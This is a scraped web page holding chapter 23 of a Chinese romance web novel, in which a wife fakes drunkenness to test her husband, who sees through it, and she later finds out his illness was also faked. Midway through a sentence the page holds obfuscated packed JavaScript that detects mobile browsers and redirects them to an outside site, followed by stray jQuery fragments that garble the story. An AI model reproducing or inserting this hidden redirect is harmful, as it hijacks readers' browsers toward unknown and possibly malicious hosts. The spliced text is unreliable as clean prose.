默认冷灰
24号文字
方正启体

23. 第 23 章

作者:提月本书字数:K更新时间:
    昨天晚上的对话结束后,谢与月突发奇想,上网搜了一下闻叙的名字。


    百科详细记录着他的履历,1997年出生在京市,P大金融学学士学位并辅修计算机科学与技术专业,H大管理学硕士,现任北望集团CEO。


    下面是更详细一些的事迹,他硕士毕业回国后,先做起了北望投资部的项目,经历了两年多的沉淀,才靠着实打实的成果坐上CEO的位置。


    她切出百科页面,去看其他搜索结果。


    排除掉营销号写的乱七八糟的文章,只看正规的新闻,这些年来他干了不少事,大大小小的经济报都在关注他和北望的最新动态,前阵子才和国内的某家通信运营商举行了战略合作仪式,此外还和政府携手合作了不少项目,新闻刷起来也就那么些字,但落到现实,工作量肯定大得吓人。


    谢与月没再继续搜索,对着手机屏幕那张签约仪式的照片发了会呆。


    闪电叼了个球来找她,谢与月回过神,到院子里跟它玩起了丢球游戏。


    就是等闪电捡球时不免有点走神。


    这家伙到底是怎样一个人呢。


    他读高中时,就已经清晰预见到了自己的未来吧?一段必定的、无法抗拒的未来。


    此时,闪电迈着优雅的小步子,把球叼到了她面前放下,气喘吁吁的,张着嘴笑得特别开心。


    这只小狗的快乐来得太简单了。她没再想这想那的,蹲下来,圈住它,捏捏它的耳朵,不免叹道:“闪电闪电,你的耳朵怎么那么长。”


    闪电不懂,用湿乎乎的鼻头去拱她,惹得她笑出了声,又问起了它,“闪电,你能不能告诉我,当闻叙的狗是什么感觉?”


    闪电还是不懂,但听到了主人的名字,于是激动地汪了一声,尾巴连摇了好几下。


    “你都认识他这么久了,你觉得他怎么样?嗯……你觉得他喜欢我吗?”


    闪电继续摇着尾巴,急得嗷嗷叫,就是学不会说话。


    “我问你这个干什么呢。好了好了,还玩球吗?”


    -


    上次的试探计划失败,谢与月准备实施计划二。


    这次行动,不成功就成仁!


    从宋助那得知闻叙今天晚上九点回来,眼见着时间也差不多了,她便开始做起了准备。


    首先,掏出酒精喷雾,往自己最不喜欢的那件上衣的领口和袖子喷一些,穿到身上,再找来腮红,这款号称是血色感,涂到脸上时确实和皮肤本身浮出来的颜色差不多,自然的酡红。


    为了显得更加真实,她从冰箱拿出一罐低度数的鸡尾酒饮料,小小的罐装,度数也就三度多,白葡萄味的,喝着跟饮料没什么区别。


    她酒量其实还不错,这一罐下去,连微醺的感觉都没有,她以前就爱喝这个配剧,再点个炸鸡,放松的一晚上就有了。


    时间快到了,闻叙还没来,可她衣服上的酒精味已经散得差不多了,迫不得已,只好又再往上面喷多了点,整个人拢在酒精的味儿里面,跟个酒蒙子似的,就差个迷离的眼神了。


    客厅处的窗对着院门,可以实时瞧见外头的动静,谢与月正走着神,蓦地注意到窗外冒出了明黄的车灯,迅速地掏出玻璃酸钠滴眼液,往眼里哐哐挤了好几滴。


    门打开时,她已经来不及将滴眼液藏好,只能借机塞到沙发缝里,顺着躺倒在沙发上,闭上眼。


    失去了视觉,她的耳朵机警而仔细地侦查着外界的一举一动,先是关门的声音,再是越来越近的脚步声,直到暂停。


    逐渐的,她面前的空气有了些变化,多了隐隐地压迫感,她猜是闻叙走到了她面前。


    还等着接下来会发生的事情,她在心底暗数着秒,可才数到十,那种由他带来的压迫感就消失了,伴随着响起的是离她远去的脚步声。


    不是,发生什么了?


    见到醉酒的老婆躺在家里沙发上,他的反应居然是看一眼然后走掉?


    至少也得试探着喊一下她,确认一下她是不是喝醉了才对吧。


    谢与月偷偷地睁开一只眼,想看清到底是怎么回事,却只看到了闻叙的背影,似乎正往洗手间的方向走去。


    她闻闻自己身上酒味,还很重,索性随机应变,不睡了,努力保持着对着镜子练习的那种半迷离的醉眼,她光脚踩到地板上,顺带在心底审判自己,无聊到脑子抽抽才干出这样的事情。


    她还没站起来,他便从洗手间走了出来。


    这人穿了件挺括的西装,领带一丝不苟地系着,再往上是凸出的喉结,他正不紧不慢用纸巾擦着手,见着她走了过来,心不在焉问:“醒了?你喝了多少酒?”


    谢与月扮作不大清醒的模样,眯起一只眼,似是回忆般断断续续地道:“应该……也,也就几斤吧!”


    他把手上的纸丢入废纸篓,转身到洗手间抽了一张洗脸巾,到水龙头下打湿,而后回到客厅,这才继续问道:“白的红的?”


    嫌沙发不好发挥,她顺着沙发边往下一溜,直接坐到了地上,背靠着沙发边,腿则顺势曲起来,声音含糊,“我想想,好像都有吧?好喝的。”


    “掺一块喝了?”


    “对!掺,我都能掺。”


    他慢慢走到她面前,低头打量坐在地上的人,她皮肤很干净,脸颊泛着红晕,是醉酒人会有的模样。


    她也不知怎么想的,头后仰在了沙发边上,唇瓣顺势微微张开,露出了刷得很干净的牙齿。她每次刷牙都很久,每颗牙齿的三个牙面都要数着时间认真地刷干净,口腔里全是清新的薄荷香,是和佛手柑截然不同的味道。


    这样看着她,总有些居高临下的,他低声喊她,“谢与月。”


    “嗯?”她不后仰了,歪了歪头,披着的发丝也跟着轻轻落下,屈着的脚不太安分地往前伸,踩在了他皮鞋鞋面,抵着他的脚踝。


    任由她抵着自己,他笑了笑,俯下身子,温热的掌心贴上她的右脸。


    距离近了许多,能清晰见到她眼尾未干彻底的水痕,映得一双眼水光潋滟的。都说眼睛是心灵的窗子,她便是这般,总将心事如这般清晰地写在眼里,别人的窗可能蒙着雾和尘,而她的,总是最干净的玻璃,盛得住最灼目的一缕阳光。


    慢慢的,他又离她近了些,两人之间残存的距离被一点点吞噬,呼吸的空气似乎都藏着彼此的热度。窗外石榴叶在秋日的夜晚中摇摇晃晃,一片落叶飘飘地亲吻泥土,而她垂落在一旁的手指也悄悄地蜷了起来。


    他是不是要准备借机亲她了。


    如果亲她的话,那要怎么算,是他占了她便宜,还是她占了他便宜?所以他也是喜欢她的对吧?


    就在她眼睫颤着,思绪翩飞时,脸上忽地一阵濡濡的湿润——


    闻叙正轻轻擦她的脸,原本干净湿润的洗脸巾上,多了一抹来自腮红的粉嫩颜色。


    她愣住了……不是?这家伙在干什么?


    从开门到现在,闻叙忍了许久,见到她愣怔的表情,终于是闷闷地笑出声,连胸腔都在震动,“谢与月,你别装了。漏洞太多,都成筛子了。”


    好烦!


    谢与月的脚还抵着他脚踝,顺势就不轻不重地踢了过去,谁知道这男的小腿骨硬得很,反倒把她的脚踢痛了。


    她无语极了,没什么好气地问他道:“你怎么发现的?”


    他环视了一圈房内,“垃圾桶。里面就一瓶酒味饮料,其他的酒呢?而且客厅没有酒味。”


    “也许我在楼上房间喝的呢?”她狡辩道。


    他轻咳着说:“最大的问题不是在哪儿喝,而是现在这个时间点。你会在脑震荡恢复期喝酒?不想要脑子了?”


    “……确实不会。”


    其实还有个原因,他没说。


    他见过一次她真正喝醉的样子,不管是出于什么原因,他都对那次有着非常深刻的印象,当时她喝酒跟喝水一样,管什么白的红的黄的,只要没呛到喉,仰头就喝,还自顾自说着一堆让他记到现在的话,完了吧最后还吐了他一身。


    他也挺无奈的,跟伺候祖宗一样地伺候她,又是擦脸换衣服又是煮解酒汤的,还得认命收拾她造的残局。


    那晚上他独自收拾到一半,突然觉得这真好笑,原来结婚是这样的,即便她这么狼狈,给他带来了不少麻烦,可一点都讨厌不起来,反倒只想她能睡得安稳点。


    所以,她今晚没事搁这装醉酒做什么?休假在家太无聊了?


    还没问出口,谢与月就仿佛知道他会问一样,开始胡编乱造了起来,“我闺蜜在写小说,找不着灵感,我替她沉浸式模拟小说剧情,找找素材。”


    “哦。”他就这么随口应着,根本叫人听不出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15663974|172050||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    到底信了还是没信,却又强迫症一样,顺手替她擦干净脸上的腮红,腮红是擦掉了,皮肤却被摩擦到泛起了红,这下更像是醉酒了。


    “别擦了,我用洗面奶洗洗就好了。”她揉揉脸,总感觉脸上湿腻腻火辣辣的。


    将洗脸巾丢进了垃圾篓,他掀起眼问道:“要再来一遍吗?”


    谢与月一时半会没反应过来,“再来什么?”


    “沉浸式模拟小说剧情。”原封不动地重复。


    “不不不!”刚刚装醉都已经够羞耻了,她一点儿都不想再来一遍,完全不想。


    “可惜了。”闻叙说着,注意到藏在沙发缝里的滴眼液,顺手把它掏了出来,在手里捏着,“本来还想试试我演技,说不准是个用不着眼药水的好苗子。”


    “还我。”她把眼药水抢了回去,无视掉他这话里带话的,扭头去到洗手间里洗脸。


    这事儿就这么打岔着过去了。


    谢与月洗脸不爱完全擦干,洗完脸出来时脸上还留了点水珠,顺手拍拍,想起来他刚才的咳嗽,“要不去医院检查下吧,咳嗽这么久了,当心发展成肺炎。”


    “不用。真要是肺炎,我自己有感觉。”他放下水杯,忽地问,“玩游戏吗?”


    她还想再劝劝,可他一副并不在意身体的样子,油盐不进的,她也懒得再劝了,“不玩,九点半了,玩不过瘾,还没尝着味儿就没了。”


    衣服还冒着隐约的酒精味,她低头一看,袖口和领口出现了白色斑点,估计是酒精浓度太高,把衣服灼烧褪色了。


    亏大了。不仅计划再度失败,还倒赔了一件衣服。


    当天睡前,她就把失败的战报递到了江归夏跟前,江归夏在手机那头笑得嘎嘎的,人都快抽了。


    江归夏:[太好笑了我不行了你这也太尴尬了]


    江归夏:[当男人的就应该装傻,要那么聪明做什么]


    谢与月:[就是!那么聪明干什么]


    本来吧,她还准备了好多台词呢,比如“你是不是喜欢我”、“老实交代你和我结婚的真实目的”等等只适合酒后说的话。


    幸好还没来得及说出来,不然今晚她就得尴尬到连夜搬去酒店睡。


    江归夏:[你这老公太刀枪不入了,这么试探下去估计是不行的]


    江归夏:[事已至此,就直球吧!!]


    谢与月:[直球就直球!]


    还没来得及继续和江归夏细聊,闻叙便洗完澡出来了,发尾有些湿润,鼻尖还挂着一滴要落不落的水珠。


    嫌屋里暖气开得热,他就穿件T恤,露出来的锁骨天生偏直,如横亘的山脉,山下还窝着一汪湖,沿着呼吸缓慢起伏。


    暖气真的热,他随手扯了下领口,鼻尖的那滴水往地毯上砸落,在无人察觉之时悄悄润湿。


    谢与月早结束聊天,缩进被子里,过一会也觉着闷热,探出头来,踌躇地朝他说道:“明天晚上,我想回主卧……”


    没等她说完,他胸腔起伏,克制地咳了两三声,才看向她问:“你刚刚说什么?”


    谢与月想说,她想回主卧睡,顺带想让他也一起去,主卧的床睡起来比次卧更大更舒服,而且好多东西都在那边,她懒得挪来挪去的。


    要开口让他也回主卧睡,对现在的谢与月来说,是需要一点勇气才能说得出口的。她本来都酝酿好了,可他这一咳,把她想说出口的话都咳飞了。


    “我刚刚说,你真不去看看医生?”


    “不去。”依旧是无所谓的态度,把杯子里的水喝完,去吹头发了。


    定定地瞧了他几眼,她翻过身背对他,结束了这个话题。


    第二天,她打开手机,给宋助发了微信。


    谢与月:[宋助,我让人给你带了些吃的,东西比较多,剩下的麻烦发给总裁办的员工吧。闻叙的感冒能在几天前就好得这么彻底,多亏你在身边帮忙照顾,有你这样的下属,他也能轻松不少,辛苦你了。]


    宋助理:[太太您言重了,闻总身体好,一直有保持锻炼,还有您一直关心他的饮食,感冒自然好得快。]


    至于宋助后面接着回的消息,谢与月没再看了,她拿起茶几上摆着的苹果,狠狠地咬了一口。


    她咬牙切齿地将苹果吃得咔咔响。


    闻叙这男的,果然是在装病!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)